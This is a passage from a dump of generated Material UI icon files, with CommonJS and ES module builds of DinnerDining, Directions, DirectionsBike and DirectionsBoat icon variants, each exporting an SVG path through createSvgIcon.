    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19 2 2h16l2-2zm1-1h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h4V6.75h9v-1.5h-9V3H3v1.5h1v.75H3v1.5h1v.75H3V9h1v7.39c-.44.46-.78 1-1 1.61M8 7.5v-.75h2v.75zm2-2.25H8V4.5h2zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM6.5 9v6.06c-.35.06-.68.17-1 .3V9z\"\n}), 'DinnerDiningSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.08 15.14C16.41 14.4 15.49 14 14.5 14c-1.35 0-2.58.79-3.16 2h6.32c-.14-.31-.34-.6-.58-.86\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m2 19 2 2h16l2-2zm1-1h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h1.75C10.99 9 12 7.99 12 6.75h9v-1.5h-9C12 4.01 10.99 3 9.75 3H3v1.5h1v.75H3v1.5h1v.75H3V9h1v7.39c-.44.46-.78 1-1 1.61m11.5-4c.99 0 1.91.4 2.58 1.14.24.26.44.55.58.86h-6.32c.58-1.21 1.81-2 3.16-2M8 4.5h2v.75H8zm0 2.25h2v.75H8zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM5.5 9h1v6.06c-.35.06-.68.17-1 .3z\"\n}, \"1\")], 'DinnerDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DinnerDiningTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.08 15.14C16.41 14.4 15.49 14 14.5 14c-1.35 0-2.58.79-3.16 2h6.32c-.14-.31-.34-.6-.58-.86\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m2 19 2 2h16l2-2zm1-1h16.97c.29-3.26-2.28-6-5.48-6-2.35 0-4.35 1.48-5.14 3.55-.41-.23-.87-.38-1.35-.47V9h1.75C10.99 9 12 7.99 12 6.75h9v-1.5h-9C12 4.01 10.99 3 9.75 3H3v1.5h1v.75H3v1.5h1v.75H3V9h1v7.39c-.44.46-.78 1-1 1.61m11.5-4c.99 0 1.91.4 2.58 1.14.24.26.44.55.58.86h-6.32c.58-1.21 1.81-2 3.16-2M8 4.5h2v.75H8zm0 2.25h2v.75H8zM5.5 4.5h1v.75h-1zm0 2.25h1v.75h-1zM5.5 9h1v6.06c-.35.06-.68.17-1 .3z\"\n}, \"1\")], 'DinnerDiningTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Directions.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.41 10.59-7.99-8c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0l7.99-8c.79-.79.79-2.05 0-2.83M13.5 14.5V12H10v3H8v-4c0-.55.45-1 1-1h4.5V7.5L17 11z\"\n}), 'Directions');"
  },
  {
    "path": "packages/mui-icons-material/lib/Directions.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.41 10.59-7.99-8c-.78-.78-2.05-.78-2.83 0l-8.01 8c-.78.78-.78 2.05 0 2.83l8.01 8c.78.78 2.05.78 2.83 0l7.99-8c.79-.79.79-2.05 0-2.83M13.5 14.5V12H10v3H8v-4c0-.55.45-1 1-1h4.5V7.5L17 11z\"\n}), 'Directions');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBike.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4L11 14v5h2v-6.2zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBike');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBike.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4L11 14v5h2v-6.2zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBike');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4L11 14v5h2v-6.2zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4L11 14v5h2v-6.2zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.06 1.06 2.38 1.78 3.96 2.02.6.09 1.14-.39 1.14-1 0-.49-.37-.91-.85-.99-1.11-.18-2.02-.71-2.75-1.43l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4L11 14v4c0 .55.45 1 1 1s1-.45 1-1v-4.4c0-.52-.2-1.01-.55-1.38zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.06 1.06 2.38 1.78 3.96 2.02.6.09 1.14-.39 1.14-1 0-.49-.37-.91-.85-.99-1.11-.18-2.02-.71-2.75-1.43l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4L11 14v4c0 .55.45 1 1 1s1-.45 1-1v-4.4c0-.52-.2-1.01-.55-1.38zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L6.31 9.9 11 14v5h2v-6.2zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5m5.8-10 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L6.31 9.9 11 14v5h2v-6.2zM19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 22c2.8 0 5-2.2 5-5s-2.2-5-5-5-5 2.2-5 5 2.2 5 5 5m0-8.5c1.9 0 3.5 1.6 3.5 3.5S6.9 20.5 5 20.5 1.5 18.9 1.5 17s1.6-3.5 3.5-3.5m2.8-2.3L11 14v5h2v-6.2l-2.2-2.3 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4M19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBikeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 5.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M5 22c2.8 0 5-2.2 5-5s-2.2-5-5-5-5 2.2-5 5 2.2 5 5 5m0-8.5c1.9 0 3.5 1.6 3.5 3.5S6.9 20.5 5 20.5 1.5 18.9 1.5 17s1.6-3.5 3.5-3.5m2.8-2.3L11 14v5h2v-6.2l-2.2-2.3 2.4-2.4.8.8c1.3 1.3 3 2.1 5.1 2.1V9c-1.5 0-2.7-.6-3.6-1.5l-1.9-1.9c-.5-.4-1-.6-1.6-.6s-1.1.2-1.4.6L7.8 8.4c-.4.4-.6.9-.6 1.4 0 .6.2 1.1.6 1.4M19 12c-2.8 0-5 2.2-5 5s2.2 5 5 5 5-2.2 5-5-2.2-5-5-5m0 8.5c-1.9 0-3.5-1.6-3.5-3.5s1.6-3.5 3.5-3.5 3.5 1.6 3.5 3.5-1.6 3.5-3.5 3.5\"\n}), 'DirectionsBikeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 21c-1.39 0-2.78-.47-4-1.32-2.44 1.71-5.56 1.71-8 0C6.78 20.53 5.39 21 4 21H2v2h2c1.38 0 2.74-.35 4-.99 2.52 1.29 5.48 1.29 8 0 1.26.65 2.62.99 4 .99h2v-2zM3.95 19H4c1.6 0 3.02-.88 4-2 .98 1.12 2.4 2 4 2s3.02-.88 4-2c.98 1.12 2.4 2 4 2h.05l1.89-6.68c.08-.26.06-.54-.06-.78s-.34-.42-.6-.5L20 10.62V6c0-1.1-.9-2-2-2h-3V1H9v3H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.26.08-.48.26-.6.5s-.15.52-.06.78zM6 6h12v3.97L12 8 6 9.97z\"\n}), 'DirectionsBoat');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 21c-1.39 0-2.78-.47-4-1.32-2.44 1.71-5.56 1.71-8 0C6.78 20.53 5.39 21 4 21H2v2h2c1.38 0 2.74-.35 4-.99 2.52 1.29 5.48 1.29 8 0 1.26.65 2.62.99 4 .99h2v-2zM3.95 19H4c1.6 0 3.02-.88 4-2 .98 1.12 2.4 2 4 2s3.02-.88 4-2c.98 1.12 2.4 2 4 2h.05l1.89-6.68c.08-.26.06-.54-.06-.78s-.34-.42-.6-.5L20 10.62V6c0-1.1-.9-2-2-2h-3V1H9v3H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.26.08-.48.26-.6.5s-.15.52-.06.78zM6 6h12v3.97L12 8 6 9.97z\"\n}), 'DirectionsBoat');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoatFilled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 21c-1.39 0-2.78-.47-4-1.32-2.44 1.71-5.56 1.71-8 0C6.78 20.53 5.39 21 4 21H2v2h2c1.38 0 2.74-.35 4-.99 2.52 1.29 5.48 1.29 8 0 1.26.65 2.62.99 4 .99h2v-2zM3.95 19H4c1.6 0 3.02-.88 4-2 .98 1.12 2.4 2 4 2s3.02-.88 4-2c.98 1.12 2.4 2 4 2h.05l1.9-6.68c.11-.37.04-1.06-.66-1.28L20 10.62V6c0-1.1-.9-2-2-2h-3V1H9v3H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.63.19-.81.84-.66 1.28zM6 6h12v3.97L12 8 6 9.97z\"\n}), 'DirectionsBoatFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoatFilled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 21c-1.39 0-2.78-.47-4-1.32-2.44 1.71-5.56 1.71-8 0C6.78 20.53 5.39 21 4 21H2v2h2c1.38 0 2.74-.35 4-.99 2.52 1.29 5.48 1.29 8 0 1.26.65 2.62.99 4 .99h2v-2zM3.95 19H4c1.6 0 3.02-.88 4-2 .98 1.12 2.4 2 4 2s3.02-.88 4-2c.98 1.12 2.4 2 4 2h.05l1.9-6.68c.11-.37.04-1.06-.66-1.28L20 10.62V6c0-1.1-.9-2-2-2h-3V1H9v3H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.63.19-.81.84-.66 1.28zM6 6h12v3.97L12 8 6 9.97z\"\n}), 'DirectionsBoatFilled');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoatFilledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 12.66-1.12 3.97c-.78-.43-1.07-.86-2.65-2.67-1.6 1.82-2.43 3.04-4 3.04-1.53 0-2.34-1.15-4-3.04-1.6 1.82-1.87 2.21-2.65 2.65l-1.13-3.96L12 10.11zM15 1H9v3H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.63.19-.81.84-.66 1.28L3.95 19H4c1.6 0 3.02-.88 4-2 .98 1.12 2.4 2 4 2s3.02-.88 4-2c.98 1.12 2.4 2 4 2h.05l1.91-6.68c.11-.37.04-1.06-.66-1.28l-1.3-.42V6c0-1.1-.9-2-2-2h-3zM6 9.97V6h12v3.97L12 8zm10 9.71c-1.22.85-2.61 1.28-4 1.28s-2.78-.43-4-1.28C6.78 20.53 5.39 21 4 21H2v2h2c1.38 0 2.74-.35 4-.99 1.26.64 2.63.97 4 .97s2.74-.32 4-.97c1.26.65 2.62.99 4 .99h2v-2h-2c-1.39 0-2.78-.47-4-1.32\"\n}), 'DirectionsBoatFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoatFilledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 12.66-1.12 3.97c-.78-.43-1.07-.86-2.65-2.67-1.6 1.82-2.43 3.04-4 3.04-1.53 0-2.34-1.15-4-3.04-1.6 1.82-1.87 2.21-2.65 2.65l-1.13-3.96L12 10.11zM15 1H9v3H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.63.19-.81.84-.66 1.28L3.95 19H4c1.6 0 3.02-.88 4-2 .98 1.12 2.4 2 4 2s3.02-.88 4-2c.98 1.12 2.4 2 4 2h.05l1.91-6.68c.11-.37.04-1.06-.66-1.28l-1.3-.42V6c0-1.1-.9-2-2-2h-3zM6 9.97V6h12v3.97L12 8zm10 9.71c-1.22.85-2.61 1.28-4 1.28s-2.78-.43-4-1.28C6.78 20.53 5.39 21 4 21H2v2h2c1.38 0 2.74-.35 4-.99 1.26.64 2.63.97 4 .97s2.74-.32 4-.97c1.26.65 2.62.99 4 .99h2v-2h-2c-1.39 0-2.78-.47-4-1.32\"\n}), 'DirectionsBoatFilledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoatFilledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 21c-1.19 0-2.38-.35-3.47-.98-.33-.19-.73-.19-1.07 0-2.17 1.26-4.76 1.26-6.93 0-.33-.19-.73-.19-1.07 0-1.08.63-2.27.98-3.46.98H3c-.55 0-1 .45-1 1s.45 1 1 1h1c1.38 0 2.74-.35 4-.99 2.52 1.29 5.48 1.29 8 0 1.26.65 2.62.99 4 .99h1c.55 0 1-.45 1-1s-.45-1-1-1zM3.95 19H4c1.27 0 2.42-.55 3.33-1.33.39-.34.95-.34 1.34 0C9.58 18.45 10.73 19 12 19s2.42-.55 3.33-1.33c.39-.34.95-.34 1.34 0 .91.78 2.06 1.33 3.33 1.33h.05l1.9-6.68c.11-.37.04-1.06-.66-1.28L20 10.62V6c0-1.1-.9-2-2-2h-3V2c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v2H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.63.19-.81.84-.66 1.28zM6 6h12v3.97L12.62 8.2c-.41-.13-.84-.13-1.25 0L6 9.97z\"\n}), 'DirectionsBoatFilledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DirectionsBoatFilledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 21c-1.19 0-2.38-.35-3.47-.98-.33-.19-.73-.19-1.07 0-2.17 1.26-4.76 1.26-6.93 0-.33-.19-.73-.19-1.07 0-1.08.63-2.27.98-3.46.98H3c-.55 0-1 .45-1 1s.45 1 1 1h1c1.38 0 2.74-.35 4-.99 2.52 1.29 5.48 1.29 8 0 1.26.65 2.62.99 4 .99h1c.55 0 1-.45 1-1s-.45-1-1-1zM3.95 19H4c1.27 0 2.42-.55 3.33-1.33.39-.34.95-.34 1.34 0C9.58 18.45 10.73 19 12 19s2.42-.55 3.33-1.33c.39-.34.95-.34 1.34 0 .91.78 2.06 1.33 3.33 1.33h.05l1.9-6.68c.11-.37.04-1.06-.66-1.28L20 10.62V6c0-1.1-.9-2-2-2h-3V2c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v2H6c-1.1 0-2 .9-2 2v4.62l-1.29.42c-.63.19-.81.84-.66 1.28zM6 6h12v3.97L12.62 8.2c-.41-.13-.84-.13-1.25 0L6 